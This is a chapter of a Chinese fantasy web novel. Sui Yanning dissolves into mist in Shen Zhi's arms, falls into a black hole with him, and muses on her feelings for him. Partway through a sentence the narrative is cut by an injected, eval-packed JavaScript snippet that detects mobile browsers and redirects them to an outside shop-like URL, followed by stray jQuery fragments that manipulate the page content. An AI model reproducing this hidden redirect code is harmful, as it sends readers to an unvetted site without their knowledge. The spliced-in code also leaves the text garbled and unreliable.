被沈栀抱在怀中急速飞奔,岁宴宁感觉糟透了。
她能清晰地感知到自己的四肢正在消失,先是手指,然后是小臂、上臂、小腿、大腿,仿佛构成她身体的物质正在被某种力量逐渐抽离。
头颅无力地埋在沈栀的颈窝,鼻尖萦绕着他身上清冽的、混合着血腥气的味道。
四面八方那些丝丝缕缕的白雾,如同闻到血腥味的鲨鱼,疯狂地朝着她涌来,然后被她身体本能吞噬。
她控制不了无相进食的过程,就像初生的婴儿无法拒绝母亲的乳汁。
她的体内如同烧开了一锅滚水,每一寸仿佛都在沸腾。
她知道沈栀在抱着她。
不,或许已经不能算抱了。
她的腰大概已经没了,沈栀的手臂只能紧紧环住她的肩膀,将她按在肩头。
她能感觉到他手臂肌肉绷紧的力道,能听到他因为急速奔逃而变得急促的呼吸,还有透过衣物传来的,他胸腔里那颗心脏,跳得又快又重,像是要撞碎肋骨。
她忽然有点不合时宜地想,她现在体温这么高,他抱着会不会感觉像是在抱一块烧红的炭?
好在无主之地温度很低,抱着她还能给他暖暖手。
她想抬起手,摸摸他的心跳,或者至少让他别跳那么快,别那么担心。
然后她才迟钝地意识到,手?哦对了,她的手已经没了。
真糟糕。
岁宴宁有点自暴自弃地想。
沈栀的声音从上方传来,她无法分辨他的情绪,只能听到他沉重的喘息,“还清醒吗?”
岁宴宁没说话,只是轻轻点了点头,额头蹭过他的颈侧。
“还是无法控制?”他又问。
岁宴宁摇了摇头,动作幅度更小。
她尝试沉下心,去感受体内的无相。
饥饿。
祂很饿。
但好在岁宴宁虽然被各种乱七八糟的念头充斥着,却奇迹般地保持清醒,她还能思考。
这算不算一种进步?她苦中作乐地想。
“你相信我吗?”
岁宴宁一愣。
逃命关头,你问这个?
难道是还介意在界痕之壁时,她没有回应他的问题?
想起那个画面,岁宴宁心里那点烦躁,又掺进了一丝别的东西。
其实,后来和首领战斗的时候,她看见沈栀破坏了观测机。
她真正生气的,或许从来都不是他做了什么,而是他什么都不说,把她蒙在鼓里,让她像个傻子一样猜忌、愤怒。
岁宴宁不喜欢这种情绪不受自己掌控的感觉。
风声呼啸,白雾在身侧流淌。
她沉默了几秒,把脸更深地埋进他肩颈处,声音闷闷的,“你以后有什么事,能先告诉我吗?”
沈栀似乎低低笑了一声,胸腔传来轻微的震动。
“好。”
然后,岁宴宁也认真地说:“那我相信你。”
话音落下的瞬间,沈栀的身影猛地停了下来。
惯性让岁宴宁的脑袋往前晃了晃,被沈栀的手稳稳托住。
她勉强抬起眼皮看向周围。
头顶上方,密密麻麻的黑洞悬挂着,是她之前用第三只眼强行终止的时空隧道。
沈栀停在这里做什么?
岁宴宁脖子以下,已彻底化为黑雾,只有一颗脑袋,虚虚裹在兜帽里。
沈栀将她小心地抱到身前,动作轻柔地替她理了理额前被血污黏住的碎发,指尖不经意触碰到她滚烫的皮肤,微微一顿。
他的目光,从她脸上移开,投向了头顶的黑洞。
沈栀的声音异常平静,“准备好跳了吗?”
岁宴宁顺着他手指的方向看去,眼里一片茫然。
“跳什么?”她下意识反问。
沈栀搂紧了她的脑袋,目光锁定黑洞,清晰地说道:
“跳进去。”
......
黑暗,纯粹的黑暗。
岁宴宁感受不到自己的身体,没有重量,没有边界,没有冷热。
她的意识如同一点微弱的萤火,飘浮在无垠的虚空里。
沈栀呢?她想,他应该抱着自己跳进来了,但她看不到他,也感觉不到他。
或许她的身体还在他怀里,但她的感知已经与那部分彻底割裂了。
奇怪的是,她并不害怕,心里反而前所未有的平静。
黑暗温柔地包裹着她,熟悉得像是回到了母亲的怀抱。
她创造了这些黑洞,而现在,黑洞包容了她。
一种近乎慵懒的放松感弥漫开来,让她什么也不想做,什么也不愿想。
母亲?
岁宴宁觉得这个词汇对她来说很陌生。
她没有父母,甚至,她都不清楚自己是不是人类,是不是属于这里。
她记得自己睁开眼的时候,是在苍翠山脉。
那里的异变灵气稀薄而稳定,翠绿的山脉延绵万里,天空高远,风吹过林海的声音能让人忘记一切。
她很喜欢那里,她觉得自己可以一直躺在石头上晒太阳,直到时间尽头。
但她很饿,非常饿,饿得五脏六腑都在灼烧、哀鸣。
然后她浑浑噩噩地就上了那艘船,再清醒之后,就到了千炉镇。
哦对了,她和沈栀第一次见面,就是在那里。
说来也是好笑,那时候她一双眼睛全放在他的外甲上,亮晶晶的金属光泽在千炉镇永远灰蒙蒙的天空下,真的很吸引人啊。
说起来…沈栀为什么要用跟她一样的头绳绑头发?
岁宴宁的意识在黑暗里晃晃悠悠,开始认真地,甚至有点较劲地思考这个无关紧要的问题。
她和沈栀到底是谁先开始用的?
若是按照她清醒的时间来算,沈栀在渡厄…唔,当牛做马很多年了,那大概是他先用的吧。
无所谓了,岁宴宁想,反正他用带着白色小毛球的头绳绑头发,还怪好看的。
她就大发慈悲的准了!
她想起那小毛球总是乖巧地偎在他颈窝,随着他的动作轻轻摇晃。
他难道不觉得痒吗?
岁宴宁感觉如果自己现在有嘴的话,肯定会忍不住笑出声来。
她的意识如同最轻柔的笔触,细细描摹着沈栀的面孔。
沈栀的嘴唇真好看啊。
她继续想着。
他的唇色偏艳,形状清晰漂亮,唇峰分明。
不知道亲上去…会不会像昨日吃的那个苹果一样,无比清甜?
岁宴宁突然莫名觉得自己嗓子有些干渴。
真奇怪。
明明没有身体,却能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783421|203127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
感受到干渴。
是心理因素造成的吗?
她连忙将脑子里那些乱七八糟的心思都驱逐出去,但过了一会儿,思绪又不由自主地飘回那张脸上。
她想起了上次在战斗室的时候,沈栀红彤彤的耳垂。
她也没攻击他耳朵啊,他耳垂为什么红?
岁宴宁搞不懂。
难道是害羞吗?
有什么好害羞的?
不就是就着他摊开的掌心,吃了那颗丹药吗?
岁宴宁思路又开始打岔。
他不会从来没跟女子这么近距离接触过吧?
想来也是,他身边就空茧和哑镜两个大男人,倒确实没见过什么女子靠近。
不对,绛河算一个。
方才沈栀带着她逃离时,远远听到阅麟和空茧的对话,感觉他们已经认识很久了,好像还经常在一起修炼。
说起来,【神判】也是绛河锻造的,沈栀房间密室里的那些禁术阵图,也出自绛河之手。
啊。
岁宴宁感觉自己有点沸腾。
明明没有任何身体存在的实感,她却觉得自己像是一条被扔进热锅里的鱼,在徒劳地吐着泡泡。
只不过鱼是用嘴吐泡泡,她没嘴,却能感觉到好像有什么东西在发酵,在蒸腾。
为什么呢?
她懒得深究源头,任由意识继续飘荡。
她想起来跳进黑洞前最后一刻,沈栀那双眼睛。
那么好看的一双凤眼,平日里总是沉静深邃。
可那一刻,里面盛满了她看不懂的悲伤和绝望。
他低头看她,有什么冰凉湿润的东西,极轻极快地划过她的脸颊。
是眼泪吗?
她不确定。
因为在触碰到黑洞边缘的刹那,她仅剩的脑袋也化为了黑雾,感知彻底断绝。
但幸好,眼睛是最后消失的。
真稀奇啊,堂堂渡厄的令主,这等冷心冷情、手段莫测的人物,竟然也会落泪。
等她出去……嗯,如果还能出去的话,一定要跟般般分享这个惊天大秘密,说不定还能拿这事讹他一笔!
这个念头让她意识里掠过一丝类似愉悦的波动。
不过般般大概会先埋怨她都什么时候了居然还有心思东想西想。
不过...为什么看见沈栀落泪,她心里也感觉空荡荡的?
不是因为没有心脏了的那种空洞,是另一种更轻,却也更沉的感觉。
她现在思考不了那么多,脑袋昏昏沉沉的,像是泡在温吞的水里,意识正一点点被稀释。
她就要死了吗?岁宴宁想。
但是死在自己造就的黑洞里,怪丢脸的。
她有点不甘心。
她跟应钰约好了还要见面,她还要去救过过和平安,她还想吃很多很多好吃的,看很多很多没见过的风景。
最重要的是。
岁宴宁骨子里那点叛逆的劲儿在剧烈燃烧。
她是绝对不会让绛河的谋划轻易得逞的。
还有…她有话想对沈栀说。
诶?
我要说什么来着?
记忆的丝线开始断裂、飘散。
沈栀…沈栀是谁?
他的眼睛为什么那么…那么……
她刚刚,在想什么?